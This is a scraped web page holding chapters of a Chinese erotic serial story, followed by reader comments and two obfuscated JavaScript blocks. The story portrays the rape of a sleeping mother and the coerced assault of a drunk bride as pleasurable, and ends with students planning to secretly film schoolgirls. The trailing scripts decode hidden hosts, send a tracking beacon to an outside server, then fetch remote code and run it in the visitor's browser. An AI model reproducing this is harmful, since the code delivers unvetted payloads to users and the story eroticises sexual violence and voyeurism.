小雯“哎哟”一声说︰“尿兄,你真色,刚才你才吻我嫂嫂的奶头,你还想再找便宜,没那么容易。”说完走过去在哥哥耳边说了几句话,然后再在美美的耳边说几句话,美美笑笑直点头,小雯替美美用红布蒙起眼睛。

我、爸爸、哥哥和尿兄直直地站立着,裤链都打开了,把自己的鸡巴都拿出来。最大是尿兄,可能是勃起较多;爸爸和我也半勃起;哥哥最小,软软的,看来还是醉意十足。

尿兄拍拍我哥哥的肩,悄悄问他︰“刚才你妹妹跟你说甚么?”

哥哥半开醉眼轻声说︰“她说,等一下美美摸我的时候,我故意摇一下,她就会知道我是老公。”

尿兄说︰“那我要排在你前面。”哥哥同意了,结果是我排在最前,然后是爸爸、尿兄,最后才是哥哥。

美美过来,伸出纤纤玉手,抚弄我的鸡巴,没两下,我已经胀大了一倍,哥哥的美妻果然不同凡响,手掌柔嫩得像没有骨那般。我正想她摸多我两下,她已经缩回手去摸爸爸的鸡巴,爸爸全身都抖了两下,鸡巴也胀大一倍,跟我一样,我们果然是两父子,反应都相同。

接着是摸尿兄的鸡巴,鸡巴也立即胀大起来,尿兄稍稍摇着屁股,使鸡巴在美美手掌上摇动。

我妹妹吓了一跳︰“他怎么知道暗号?”

美美这时已经大声说︰“不用再摸了,他就是我亲爱的老公。”说完笑得很甜,蒙在眼睛上的红布也不脱下来,就站起来,抱向尿兄,还抬头吻向他。

尿兄当然不会拒绝,也抱着她,在她嘴上亲吻起来,唇舌都交融着,津液从尿兄的嘴里流向美美的嘴里,难得是美美一副幸福的脸。

“嫂嫂,你弄错了!”妹妹叫着,美美才扯下蒙眼睛的布,看到是尿兄,羞得满脸通红,还想说对不起,尿兄说︰“愿玩服输,小美人,跪下来跟老子含烂鸟吧!”

美美左看右看,我们缩缩肩,没人帮她解围。妹妹本来想帮她,但她在我们家人的眼中还是很纯洁的,怎么可以帮呢!

美美只好跪在尿兄前面,用手托起他的大鸡巴,很犹豫。尿兄把她的下巴托起来,把大龟头放在她可爱的嘴唇上轻轻磨着,然后往里面塞,美美闻到一股尿味,不敢张开嘴,尿兄把她下巴一握,她不得不张开嘴,大鸡巴就弄进她嘴里,美美不习惯地发出“唔唔”声。

我这新婚的嫂嫂开始吸吮着尿兄的大鸡巴,吸得尿兄直抖嗦,尿兄说︰“哇塞!大文,你这个美老婆真会含烂鸟,含得我好爽。”

当尿兄的鸡兄干进美美的嘴巴里,美美两颊就胀鼓鼓的,可爱的俏脸紧贴在尿兄下腹的毛丛里面。尿兄这时捧着美美的头,前后前后移动着,让大鸡巴在我这美嫂嫂的嘴里插进抽出。

尿兄刚才在吻缀美美的乳头时,已经快要喷出,这时又见到这么可爱朋友妻在替自己含烂鸟,含得啧啧有声,登时一阵爽利遍及全身,收也收不住,精液朝美美的嘴里射。美美吃了一口,慌忙退出来,其余几射全都射在她的俏脸上,白黏黏地垂滴着。

就这样过了半夜十二点,酒楼一定要关灯锁门,我们才收拾一切,回家了。

一到家门口,就听到里面猜拳声大作。我们开门进去,原来是租客“大块”和远房亲戚“蚵哥”在猜拳喝酒,他们都是在同一地盘工作,所以认识了。

“呵呵哥,你们回来了,我刚才还没尽兴,所以来家里再喝。”蚵哥说。原来刚才他们婚宴回来之后,还要再喝酒,两人看来也有八成醉。

“你们继续,我们太累了,要休息,不招唿了,请随便。”爸爸是个好客之人,虽然很累,但还是留蚵哥下来。

“我帮你招唿他就行了,你们去睡吧。”大块扬扬手叫我们入房睡觉。

我和妹妹进房之后,不到十分钟都睡去了,忙了一大,实在太累,连我们兄妹最爱的makelove今晚都没做。爸爸妈妈洗完澡也睡了。美嫂嫂也洗了澡,脸红红地跑进他们的新房。

哥哥已经开始唿唿声,美美推着他说︰“大文,别睡,今晚是我们洞房。”

哥哥给摇醒,看到美美俏丽的脸,手一摸,原来美美只穿一件丝睡裙,里面甚么都没穿,可爱柔嫩的乳房占领了他的手掌,哥哥淫兴起来,把美美推倒在床上,美美闭起眼睛︰和这好男人谈恋爱两年,终于要把身体给他了。

哥哥翻开她的睡裙,太容易了,美美整个胴体都露了出来,当然在黑暗里不能完全看到,但已经能感受得到。

哥哥这时脱下了自已的裤子,原来鸡巴已经胀得老大,他把美美的双腿抬起来,准备攻下城池。

“不要这么快,”美美按住他︰“我们要不要来些前奏?”

哥哥朝她的小穴一摸说︰“我看不必了,你的小穴都湿成这个样子。刚才尿兄不是跟你前奏吗?把你的大奶子又缀又吻,我看到你的身体都扭动起来,你说是不是?”

美美听到哥哥这么说,想起刚才尿兄把她弄得魂魄都不见,不好意思再要求哥哥做甚么,哥哥的鸡巴就插了进来。不是太粗,但还算长,美美的小穴很滑,虽然处女的小穴很紧,但还是给喝醉的哥哥直攻到底。

“啊……”美美一阵疼痛,来不及喊,哥哥已经抽动起来,一阵阵爽快的感觉延到美美全身。美美扭着身体,嗯嗯哼哼地呻吟声,思想开始空白,心好像坐着火箭升上太空,虽然最初有点压力,但越来越顺畅,她不觉地叫着︰“啊……快要到太空了……快升……”

但火箭突然在半空停了下来,然后往下掉,像是掉在地上,又掉进井里,很深很深。原来我哥哥插十几下已经射了出来,整个人伏在美美身上。

各位看倌,你们说我哥哥是不是暴殄天物?娶这么一个漂亮的老婆,洞房夜竟然这样草草了事,要是我,嘿嘿!不说了,你们自己想想。究竟美美嫁给我们这家后事如何?且听我下回分解吧。

09)妈妈说︰我从小看着你大

上次讲到我这新婚嫂嫂在尿兄设计的玩新娘游戏中,给他吻缀乳头,又要用嘴巴替他的鸡巴服务,真是难为了这新娘,本想在洞房夜好好献身给哥哥,可以醉薰薰的哥哥只是在模煳之中夺去她的贞操,哎,各位看倌,我想我这个嫂嫂嫁进我家,是她苦命的开始。

话分两头说,坐在厅中划拳的租客“大块”和我远房亲戚“蚵哥”也是喝得醉薰薰,两人本来想听我哥哥新房里的造爱声,可是没多少声音就静下来,好不过瘾,继续猜拳喝酒。

“大块,我去一下厕所。”蚵哥摇摇晃晃站起来,走过去。

“喂,蚵哥,厕所在那边,不是这里……”大块见蚵哥半醉不醒那样,要开的是我爸爸妈妈的房门,忙叫住他,可是他已经开了进去,原来可能爸爸妈妈太累,没锁门就睡了。

门一打开,厅的灯光射进去,只见我爸爸妈妈唿唿睡着,热天没盖被子,妈妈的睡衣竟然敞开着,乳罩也没戴,两个豪乳又圆又大地展露在空气中。

“我表姨的奶子也挺大的。”蚵哥吞一下口水,这时大块也进来,平时他总是贼眼跟着妈妈的身体转,还没完全看过妈妈的奶子,尤其是上面大大的奶头。这时他大起胆来,手掌摸摸我妈妈的奶子,见她睡死了,就脱下自己的裤子,一边摸我妈妈的奶子,一边打手枪。

蚵哥的酒意加上眼前我妈妈这肉体,当然忍耐不住,把我妈妈的睡裤和内裤一起剥下来,“哇!表姨的小穴也挺丰满的。”说完就伸手进她的双腿间,撩起她的阴唇和小穴。

我妈妈还在睡梦中,梦回刚才在酒楼的那一幕,不过给压在餐桌上的不是美美,而是妈妈,尿兄把妈妈压上去,吸吮她的乳头,还用手去挑逗她的肉穴,但实在插得太深,妈妈睁开眼睛,却看见蚵哥和大块在摸她的身子。

“你们……”妈妈惊说。

“殊……别叫……”大块说完,继续摸她的奶子,还玩弄她的奶头,弄得妈妈呀呀闷哼起来。

“蚵仔……你也这样对你表姨……我自小看着你大……”妈妈的小穴被蚵哥弄得淫水直流,她实在有点害羞,到底这蚵哥是她的后辈,怎么可以这么玩弄自己。

“表姨,就是你看着我大,我才要干你。”蚵哥把自己的裤子脱下来,拿出自己的大鸡巴说︰“表姨,你看你的鸡迈都已经水淋淋了,看来是想给我这大烂鸟干一干。”

妈妈好像要挣扎,但双腿又一松,给蚵哥一下子就拍开,大鸡巴就这样干进我妈妈的肉穴里,弄得啧啧作响,妈妈两条美嫩的腿给他扛着,他还要向两边一压,弄得我妈好像在做一字马,这样干进去,鸡巴就能很深地插到她的花心上,插得她啊啊直叫。

“好侄儿……不要再干……啊……好哥哥……不要再插……会弄醒你……表姨丈……”妈妈呻吟着,又怕爸爸醒来。

“好哇,表姨丈醒来更好,让他看看老婆在给我肏,在给我干鸡迈……”蚵哥根本不停下来,狠狠地插了我妈妈五、六十下,干得她两眼直翻,淫水直泄不停,双腿直抖,干上高潮。

“啊……好哥哥……啊……好老公……你比我老公……还带劲……把我干死……啊……别把我鸡迈干破……啊……啊……”我妈妈被干的时候真会叫,还叫得这么淫荡。

“哈哈……好表姨……我今天就把你鸡迈干破……把你的肚子弄大……”蚵哥开始有点气急,不过他身上的肌肉确是地盘工人的特征,够力气继续干下去。

我妈妈摇着头叫起来︰“啊……不行……我的孩子都长大……不要把我肚子搞大……啊……啊……”但当蚵哥再干多三、四十下后,把鸡巴挺到她子宫时,她又是另一种淫叫法︰“啊……好老公……好侄儿……射进来吧……干大我的肚子……让我再生个杂种……”

蚵哥做地盘的,找的多是妓女,像我妈妈这种亲戚没干过,加上我妈妈的骚样,结果忍不住把精液都射在妈妈的肉穴里。

妈妈这边被折腾得快要死去,爸爸那边却依然睡得很甜,老婆就在身边任人干也不知醒。

“我也要干干这骚娘。”大块把我妈妈的双腿拉过去,大鸡巴一下子直捅进她的肉穴里,里面已有很多精液,所以很滑。大块好像要把交给我妈妈的租金全拿回来那样,狠力直戳她的肉穴,弄得她淫水连连。

“我要给表姨吃吃鸡巴。”蚵哥叫我妈妈跪卧着,一边含他的鸡巴,一边给大块干肉穴。我妈妈这样已经不顾体面,真的跪卧在床上,两个吊在半空的大奶子晃动着,煞是好看。

“叫她跪卧在她老公身上更好玩。”大块突然想起要这样玩我妈妈。

我妈妈抗议道︰“不要这么,会弄醒我老公。”

“不会的,你老公睡得像猪那样,老婆被我们轮奸都不知道。”大块说完,见我妈妈犹豫,就说︰“臭婊子,你不照做,我们就不干你了。”说完要拉裤子走。

“好……好……我照做……求你用力干我……”妈妈照他们所说,跪卧在我爸爸身上,小穴正对着我爸爸的脸,大块很高兴,真的“当着我爸爸的脸前”把鸡巴干进我妈妈的肉穴里。妈妈想叫叫不出来,因为蚵哥的大鸡巴已经塞在她的嘴里。

妈妈前后两洞都给塞满,她还是第一次给两个男人一起奸淫,心里爽得淫态百出,主动扭着身体,把屁股递给大块,让他干得更深。

大块狠插我妈妈,把她的淫水都搅弄出来,竟然流到我爸爸脸上来,刚才在她小穴里的蚵哥精液也流滴在我爸爸的嘴巴旁边。

大块觉得更爽,因为他平时是租客,而我爸爸妈妈算是二房东,多少也要尊重一下,但现在竟然可以在我爸爸面前,把他的淫妻干得淫水直流,还在流到他脸上。

心中一爽,知道自己快要泄了,忙狠干狠插我妈妈二、三十下,我妈妈全身都给干软了,手不能支撑身体,伏倒在我爸爸身上,小穴正对在我爸爸嘴边,大块突发奇想,快要射出来的时候,把鸡巴抽出来,往我爸爸的嘴里一塞,“噗哧噗哧”,黏煳煳的精液全射在我爸爸嘴里。

我可怜的爸爸在梦中一定想不到,自己的老婆在自己身上给两个男人轮流地干,自己还要含人家的烂鸟、吃人家的精液。

当一切完结后,妈妈竟然累得睡去,就这样赤条条地伏在我爸爸身上。

哥哥的新房里又是另一番情形。美美心里没有责怪哥哥,好歹都是自己选择的老公,反正洞房夜把最宝贵的处女身给了心爱的人,即使现在自己还不满足,小穴还是痒得要命,但都没有所谓,这是传统女人的美德。

她推开伏在身上的哥哥,稍稍看看厅外,没有人,蚵哥和大块都不见了,以为他们去了睡觉,却不知道原来他们已经在我爸爸妈妈房里,把我妈妈搞得要死不活。

美美用面纸把床上的精液和处女血抹掉,故意留下一点点血渍,让这家人知道她还是个完璧处女。整理完后,就披上那件薄薄的睡裙,里面甚么都没穿,反正去洗个澡就回来。

她匆匆走过厅,要进去浴室之前,听到妈妈淫声大作,心想︰“爸爸妈妈还真本事,今天这么累还能干得这么激烈。”她笑了笑,进了浴室,好好地洗去身上的汗水、精液。

这时大块和蚵哥从妈妈房里走出来,又坐在厅里喝酒,大块说︰“蚵哥,这次要谢谢你,不是你来,我也不敢动这骚娘一毫。今天真走运!”

蚵哥说︰“算是一般。我平时找的妓女也和表姨差不多。嘿嘿!如果干上大文的那美娘子,那才算是走运。”

大块说︰“你别想得太美,这样的美姑娘轮不到我们这种干粗活的份。来,喝酒。”说完又喝起酒来。不久又“性”致勃勃,加上蚵哥描述在婚宴上,美美如何伏下身,把胸前那两团白肉露了出来,大块有点忍不住说︰“我想再进去,再干一次那骚娘。”

蚵哥说︰“去你的,不如我们看看其他房间有没有锁住更好。”

说完,两人就来开我和妹妹这房门,是锁住了;他们再去打哥哥的房门,没锁!

蚵哥说︰“这次走运了,可能连新娘也可以干上。”但门一开,只见哥哥赤条条躺在床上,美新娘倒是不见。

他们不知道这个美新娘就在浴室里洗澡,一边洗一边摸自己滑腻腻的皮肤,可能是太陶醉了,花洒的水已经喷湿了那唯一一件睡裙,她是茫然不知,直至她洗完之后,要穿上时,才发觉睡裙全湿了,穿在衣上,紧贴着肉,美妙的身裁全露出来。

“没办法,回到房里后再换吧。”美美走出浴室,才发现大块和蚵哥还在厅里,吓得摀住身体。大块和蚵哥见她出来那身,那薄薄却湿湿的睡裙简直像没穿衣服那样,差一点喷出鼻血来。

各位看倌,又要到此暂停,小弟忍不住要去厕所打打手枪,很快就回来。

10)美美说︰你们连妈妈都干了

上次说到大块和蚵哥在我爸爸面前,把我妈妈干得死去活来,他们色欲还没发泄完,目标转向我新婚的嫂嫂身上。各位看倌,准备好了吗?我们又开始色欲之旅吧。

“啊,好美的新娘,过来过来,来陪我们喝杯喜酒,祝贺你们新婚愉快。”蚵哥忙打招唿,伸手把美美拉过来。

美美扭着手,不想过来,她身上的睡裙湿得几乎把身体都暴露出来。

“噢,新娘子怕羞呢,那好,把大文也叫起来,一起喝喜酒。”说完就要去叫我哥哥。

“不要叫他,他睡着了。”美美忙说,他怕他们看到哥哥赤条条倒在床上的样子,“我陪你们喝一杯吧,不能喝太多。”说完就给蚵哥拉坐在桌子边。

大块的眼睛已经直直盯在美美的胸前,湿湿的睡裙贴在她的胸脯上,两个又圆又大的奶子完全显露无遗,最令人销魂的是那两粒小乳头,完全清晰可见。

美美知道自己很暴露,只想赶紧应付一下他们,拿起酒杯对蚵哥和大块说︰“来,我敬你们一杯。”说完就喝了下去,然后站起来想回房。

蚵哥拉着她的手说︰“所谓无三不成敬意,起码喝三杯,来!”又拿一杯给美美,美美不想喝,给大块按着头,往她嘴里一倒,又喝了下去。蚵哥再拿来一杯,美美这次不开口,蚵哥也照样倒下去,酒沿着她的下巴流到身上来。

“哎呀,这么浪费?”蚵哥责怪她说︰“这些酒都是法国名酒XO,别浪费嘛!”说完把美美拉在自己身上。美美是个银行柜员,哪里有这地盘工人那么有力气,给他猛力一拉,整个人都倒在蚵哥怀里。

蚵哥伏下身对准她的乳房就吻了起来,还说︰“别浪费这身上的酒嘛。”说完舔弄起来,舌尖就在她的乳头上逗弄。

薄薄的睡裙哪里可以阻挡这种攻击,加上他粗大的手在乳房上又摸又捏,那种粗暴的动作,我哥哥完全不能相比,我这新婚嫂嫂已经给逗弄得娇喘连连,身体扭动起来。

这下子便宜了大块,他看着美美的美妙身躯扭来扭去,湿湿的睡裙贴在身上面,就连两腿间黑黑的阴毛部位都能看见;当美美扭过来时,她两个又圆又大的屁股肉团,完全展现在大块面前。

“啊……不行……不要这样……我老公会看见……”美美急促地说,身体还是不停扭动着。

大块这时把她的睡裙扯上去,可能太湿了,不能扯,他只好慢慢卷动上去,美美的大腿就慢慢暴露出来,大块一边摸着她光滑的大腿,一边卷动睡裙,睡裙卷到小腹之上,大块的脸就埋在美美的双腿之间,舌头朝她的小缝直钻进去。

美美感到一阵阵爽快的感觉从乳房乳头和小穴那里传遍全身,她身体一抖一抖,淫水直出,大块见她的淫水流出来,忙着直吸,舌头挑进她的阴道里找到她的小阴蒂。

“啊……好哥哥……好叔叔……别再弄我了……我还是新娘……”美美呻吟着。

这时那湿湿的睡衣已经给他们完全脱去,蚵哥舌头直接在她的乳房乳头上打圈轻咬,弄得她直喘,身体抖了两抖,泄了第一次。

“原来高潮是这么爽。”美美的思绪有点乱了,“刚才老公没有前奏,实在太过份了。”想到这里便放开怀抱,任由这两个地盘工人淫弄。

美美大腿在扭动着,使两片阴唇一张一合的,大块说︰“啊,新娘子,原来你下面那嘴巴想喝酒。”说完就拿一杯酒,慢慢倒在她的小穴口,大块还用手指将她的小穴挑开,酒就流了进她的小穴。

美美一阵清凉但很快又赤辣辣的感觉很小穴传来,使她双腿扭动得更厉害,淫水不停从小穴流出来。大块见到当然没放过,嘴巴再次朝她的小穴吻去,这时美美已经顾不了仪态,双腿自动展开,让大块的舌头能更灵巧地逗弄她的阴豆和更深地钻进她的肉洞里。

蚵哥把桌上的酒杯酒瓶收拾一下,大块就把美美放在桌上,美美突然觉得自己好像一只待宰的猪,给脱得精光,任由处置。眼前两个根本不是自己心上人,而是黑乎乎的地盘工人,她眼睛朝新房一看,心想,自己的老公在里面,自己却被两个男人在外面凌辱,心底一酸,挣扎起来。

“啊……不要……不要……我才新婚……我老公会知道我被人家玩……”美美挣扎着,但一阵阵激流传来,使她不能完全抗拒。

“嘿……我是最喜欢玩人家的老婆了……刚才我们就在你爸爸面前干了你妈妈。”蚵哥一边说着,一边手用玩弄她的大奶子,上下左右扭来扭去,捏得快要变形,手指还在她乳头上捏弄,使她两小乳头都竖起来。

“啊……我不信……哪里有老公连老婆给人家干都不知道……”美美叫了起来。大块的手指插进她小穴里挖弄,使她不能说出话来,只能娇喘连连,淫水噗噗地流出来。

“好,你不信,我给你看。”蚵哥说完,就和大块一起把美美抱进我爸爸房里,美美见到我妈妈全身脱得光光,伏在我爸爸身上,不由全身都热了起来。

“啊……原来你们这么坏……连妈妈都干了……”美美说着,给他们两人弄得像妈妈那样跪卧在床上,两个大奶子晃来晃去。

这时我哥哥在睡梦中好像听到新婚老婆的呻吟声,他醒来,头还好痛,颠颠倒倒地半扶着门框走出厅,然后再跟着声音走到爸爸妈妈房门口,只见自己的新娘老婆给脱得精光,伏卧在床上,而蚵哥和大块已经掏出硕大的鸡巴,一个在磨着她两个晃动的大乳房,一个在磨着她的大腿内侧。

站在美美身后的蚵哥把巨大的龟头顶在美美的小穴口上,磨着磨着,美美给磨得全身颤抖起来,呻吟说︰“啊……好哥哥……别磨了……磨得人家好酸……好痒……”

哥哥看到这情景鸡巴胀大起来,不禁叫出声来︰“美美……”

美美这时抬起头,见老公站在房门口,呆了一下,连忙挣脱大块和蚵哥的拥抱,扑在哥哥身上,说︰“老公……他们……他们强迫我……”

这时大块嘿嘿笑笑说︰“不好意思,不好意思,大文,我们刚才想再闹一下洞房而已,没甚么,没甚么,快去睡觉。春宵一刻值千金。”

哥哥和嫂嫂进了房,一关上门,美美还想解释,哥哥已经等不及了,把她抱上床,叫她像刚那样卧伏在床上,把自己不粗但还算长的鸡巴挤进她的小穴里。美美的小穴刚才已经给蚵哥和大块弄得全湿了,所以即使她那刚破处的小穴仍然很紧,但哥哥的鸡巴还是能够顺利插进去。

“啊……老公……你很厉害……插得我很爽……啊啊……”美美这时像崩堤的洪水那样,身体的快感一浪接一浪︰“啊……为甚么你突然……那么厉害……刚才你没……这么厉害……啊……好爽……”

哥哥摇动着屁股,鸡巴在美美淫水氾滥的小穴里搅动着,气喘嘘嘘地说道︰“美美,我是看到你给蚵哥和大块他们脱得精光,在床上淫弄,我觉得很兴奋,鸡巴就胀满,就有现在的干劲。”

美美听到哥哥提起蚵哥和大块,想起刚才自己那种在陌生人面前的淫态,又羞愧又兴奋,淫水便一泄如注,给哥哥的鸡巴一搅动,全都滴在床上,弄得床单湿了一大片。

“啊……你看到老婆……给别人弄……还会兴奋吗……啊……”美美已经是第三次高潮了,但在背后插进来的鸡巴好像还没有软掉。

“我……我也不知道……为甚么……我好想看到你……给其他男人干……就像电影里……那些女主角……”哥哥气喘得很急,已经说不下去。他把美美的圆臀抱住,精液再次“滋滋”地射在她的小穴里,美美给他的精液一灌,也爽得再来一次高潮,两人才软软地倒在床上。

第二天美美很早就起了床,爸爸妈妈起床之后,她就和哥哥一起向他们敬早茶,这也是新婚的俗例。

美美本来披肩的长头发梳到耳后,结一条马尾辫,不仅漂亮,更显得成熟有韵味,心想大文这儿子真是有福气,能娶到这样的娇妻。

“你们明天要回乡探探爷爷,让他知道这个孙媳妇。”爸爸说︰“车票都买了,你们收拾一下行装。”

美美很高兴悄悄对大文说︰“老公,我们可以蜜月旅行了。”

说回我自己,大学暑假较早开始,学期结束时,大学要搞个开放日,我是学生会的干事,自然要大力参与,准备展览资料、印制单张、设计模型,总之忙得不亦乐乎,几天下来都要在学校宿舍睡觉,没有回家,当然也没和可爱的妹妹温柔一番。

“这个镜子有甚么用?”我很奇怪在摊位游戏桌下还要放一片镜子。

正和我一起准备展览的同学阿健连忙摀住我的嘴说︰“别这么大声。”然后四周看看,没有其他人,才说︰“你这笨蛋,用你的脑子想想这次展览甚么人会来看?”

“那些快要毕业的高中生吗?”

“对呀,那些快要毕业的高中女生,又年轻又漂亮,而且穿着短裙来……”阿健一边说,一边笑淫淫的︰“你现在明白用来干甚么吗?你看,我连手提录像机也准备好,只要对准那镜子,哈哈哈!我们就多了不少娱乐。”

各位看倌,我怎会不明白阿健的计划?一来我本身也是很好色的,二来阿健在我们学生会里有个花名叫“校痞”,好色是他的代号,所以这个偷拍漂亮美媚计划,我当然完全明白。

真的很不错喔,满刺激的,感谢大大无私的分享啰~!!!

赞噢~

谢谢大大无私分享^^


上一篇:女友的淫荡同学

下一篇:媳妇之诱惑2


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};